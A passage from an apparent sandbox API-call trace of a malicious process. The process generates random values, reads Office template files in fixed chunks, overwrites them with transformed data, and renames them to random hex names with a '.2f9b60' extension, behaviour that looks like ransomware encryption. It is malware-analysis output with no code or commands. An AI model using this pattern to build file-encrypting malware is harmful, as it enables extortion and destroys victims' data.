| out: Seed=0x35dcfcf0) returned 0x116daf07 [0113.037] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x2bd1ba43 [0113.037] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x4a96392e [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x4bcb5bc [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x7abe66bb [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x7a1f9180 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x5097516b [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x6c9e2868 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x2eb1a060 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x370adf2f [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x3bf32500 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x1e369782 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x79f4b8c0 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x331e05fd [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x11b98fcf [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x279e0733 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x2d128cfe [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x52151bd6 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x6e31ba5e [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x75d4bab2 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x163fa8e5 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x58facc82 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x7dbcc3e6 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x1b5e52ff [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x8c8dc1c [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0xd87c0ed [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x29668c45 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0xf1d8640 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x2637f912 [0113.038] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x5f3795a5 [0113.049] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.049] ReadFile (in: hFile=0x163c, lpBuffer=0x41da2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35dcfd60, lpOverlapped=0x0 | out: lpBuffer=0x41da2d00*, lpNumberOfBytesRead=0x35dcfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0113.055] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0113.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263cb0 [0113.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263cb0) returned 1 [0113.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41da6910 [0113.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263cb0 [0113.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0113.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202629c0) returned 1 [0113.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0113.056] WriteFile (in: hFile=0x163c, lpBuffer=0x41da6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35dcfd60, lpOverlapped=0x0 | out: lpBuffer=0x41da6910*, lpNumberOfBytesWritten=0x35dcfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41da6910) returned 1 [0130.290] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x33cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.290] ReadFile (in: hFile=0x163c, lpBuffer=0x41da2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35dcfd60, lpOverlapped=0x0 | out: lpBuffer=0x41da2d00*, lpNumberOfBytesRead=0x35dcfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.295] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x33cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859790 [0130.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859790) returned 1 [0130.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41da6910 [0130.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859790 [0130.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859880 [0130.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859880) returned 1 [0130.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.297] WriteFile (hFile=0x163c, lpBuffer=0x41da6910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35dcfd60, lpOverlapped=0x0) [0171.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41da6910) returned 1 [0171.080] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x66e8a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.080] ReadFile (in: hFile=0x163c, lpBuffer=0x41da2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35dcfd60, lpOverlapped=0x0 | out: lpBuffer=0x41da2d00*, lpNumberOfBytesRead=0x35dcfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0171.249] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x66e8a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d460 [0171.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d460) returned 1 [0171.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e00d80 [0171.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d460 [0171.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d490 [0171.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d490) returned 1 [0171.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.252] WriteFile (in: hFile=0x163c, lpBuffer=0x41e00d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35dcfd60, lpOverlapped=0x0 | out: lpBuffer=0x41e00d80*, lpNumberOfBytesWritten=0x35dcfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e00d80) returned 1 [0194.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf520 [0194.655] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.655] WriteFile (in: hFile=0x163c, lpBuffer=0x134940*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x35dcfe10, lpOverlapped=0x0 | out: lpBuffer=0x134940*, lpNumberOfBytesWritten=0x35dcfe10*=0x158, lpOverlapped=0x0) returned 1 [0202.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0202.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0202.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261520 [0202.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261520) returned 1 [0202.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261520 [0202.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e30 [0202.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0202.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632c0) returned 1 [0202.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0202.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0202.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b7cea00 [0202.015] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="77") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="ff") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="fe") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="f4") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | out: _Dest="91") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="f3") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="f1") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="50") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="a8") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="4e") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="bc") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="7a") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="28") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="79") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="d8") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="0d") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="65") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="ed") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="20") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="81") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="b8") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="40") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="87") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="fb") returned 2 [0202.015] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="b8") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="a7") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="2d") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea36, _Format="%c%c" | out: _Dest="39") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="5e") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="7e") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="78") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="de") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="66") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="61") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="82") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="ef") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="e9") returned 2 [0202.016] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="b1") returned 2 [0202.016] RtlInitAnsiString (in: DestinationString=0x35dcfe88, SourceString="77fffef491f3f150a84ebc7a2879d80d65ed2081b84087fbb8a72d395e7e78de666182efe9b1" | out: DestinationString="77fffef491f3f150a84ebc7a2879d80d65ed2081b84087fbb8a72d395e7e78de666182efe9b1") [0202.016] RtlAnsiStringToUnicodeString (in: DestinationString=0x35dcfe58, SourceString="77fffef491f3f150a84ebc7a2879d80d65ed2081b84087fbb8a72d395e7e78de666182efe9b1", AllocateDestinationString=1 | out: DestinationString="77fffef491f3f150a84ebc7a2879d80d65ed2081b84087fbb8a72d395e7e78de666182efe9b1") returned 0x0 [0202.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a8350 [0202.017] wcscat (in: _Dest=0x43197c60, _Source="77fffef491f3f150a84" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\77fffef491f3f150a84") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\77fffef491f3f150a84" [0202.017] wcscat (in: _Dest=0x43197c60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\77fffef491f3f150a84.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\77fffef491f3f150a84.2f9b60" [0202.017] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\77fffef491f3f150a84.2f9b60", NtPathName=0x35dcfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\77fffef491f3f150a84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4311a7e0 Thread: id = 1142 os_tid = 0xffc [0113.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx")) returned 0x20 [0113.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx", dwFileAttributes=0x20) returned 1 [0113.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15bc [0113.053] GetFileSizeEx (in: hFile=0x15bc, lpFileSize=0x359bfc00 | out: lpFileSize=0x359bfc00*=17234) returned 1 [0113.053] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x434e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.053] ReadFile (in: hFile=0x15bc, lpBuffer=0x359bfb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x359bfbc8, lpOverlapped=0x0 | out: lpBuffer=0x359bfb80*, lpNumberOfBytesRead=0x359bfbc8*=0x4, lpOverlapped=0x0) returned 1 [0113.057] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0113.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a10 [0113.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0113.057] NtQuerySystemTime (in: CurrentTime=0x359bfac0 | out: CurrentTime=0x359bfac0*=132462177185206000) returned 0x0 [0113.057] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x1189d085 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x47184a93 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x3d28ffa7 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x7fcedec5 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x37455d8 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x78f3a440 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x37a5cdb2 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x51227866 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x14eb5bd [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x326bec7c [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x5e9cc68c [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x145be62e [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x7929dc45 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x69c7c4b2 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x4dbc16ae [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x3d17c4d0 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x5b41a391 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x74695f04 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x2a674b39 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x7ce89100 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x338770be [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x6dd859d0 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x4b37c276 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x86bee7c [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x607a1260 [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x6029589b [0113.058] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x40fd3cbe [0113.059] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x1a972dda [0113.059] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x3bfd2cd6 [0113.059] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x7f831033 [0113.059] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x6901d1c [0113.059] RtlRandomEx (in: Seed=0x359bfab0 | out: Seed=0x359bfab0) returned 0x174199ff [0113.069] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.069] ReadFile (in: hFile=0x15bc, lpBuffer=0x41daa520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x359bfb20, lpOverlapped=0x0 | out: lpBuffer=0x41daa520*, lpNumberOfBytesRead=0x359bfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0113.070] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0113.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0113.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202629c0) returned 1 [0113.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dae130 [0113.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0113.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0113.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630b0) returned 1 [0113.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0113.072] WriteFile (in: hFile=0x15bc, lpBuffer=0x41dae130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x359bfb20, lpOverlapped=0x0 | out: lpBuffer=0x41dae130*, lpNumberOfBytesWritten=0x359bfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0128.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dae130) returned 1 [0128.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41daa520) returned 1 [0128.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a930 [0128.176] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.176] WriteFile (hFile=0x15bc, lpBuffer=0x168d60, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x359bfbd0, lpOverlapped=0x0) [0200.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866b40 [0200.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85af60 [0200.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85af60) returned 1 [0200.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0f0e0 [0200.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85af60 [0200.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a30 [0200.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a30) returned 1 [0200.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0200.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b859a30 [0200.343] sprintf (in: _Dest=0x1b859a30, _Format="%c%c" | out: _Dest="10") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a32, _Format="%c%c" | out: _Dest="25") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a34, _Format="%c%c" | out: _Dest="6f") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a36, _Format="%c%c" | out: _Dest="08") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a38, _Format="%c%c" | out: _Dest="ac") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a3a, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a3c, _Format="%c%c" | out: _Dest="94") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a3e, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a40, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a42, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a44, _Format="%c%c" | out: _Dest="b8") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a46, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a48, _Format="%c%c" | out: _Dest="70") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a4a, _Format="%c%c" | out: _Dest="da") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a4c, _Format="%c%c" | out: _Dest="08") returned 2 [0200.343] sprintf (in: _Dest=0x1b859a4e, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.344] sprintf (in: _Dest=0x1b859a50, _Format="%c%c" | out: _Dest="a8") returned 2 [0200.344] sprintf (in: _Dest=0x1b859a52, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.344] RtlInitAnsiString (in: DestinationString=0x359bfc48, SourceString="10256f08acc194aaab6cb87a70da085da85e" | out: DestinationString="10256f08acc194aaab6cb87a70da085da85e") [0200.344] RtlAnsiStringToUnicodeString (in: DestinationString=0x359bfc18, SourceString="10256f08acc194aaab6cb87a70da085da85e", AllocateDestinationString=1 | out: DestinationString="10256f08acc194aaab6cb87a70da085da85e") returned 0x0 [0200.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858970 [0200.345] wcscat (in: _Dest=0x431d9f50, _Source="10256f08a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\10256f08a") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\10256f08a" [0200.345] wcscat (in: _Dest=0x431d9f50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft 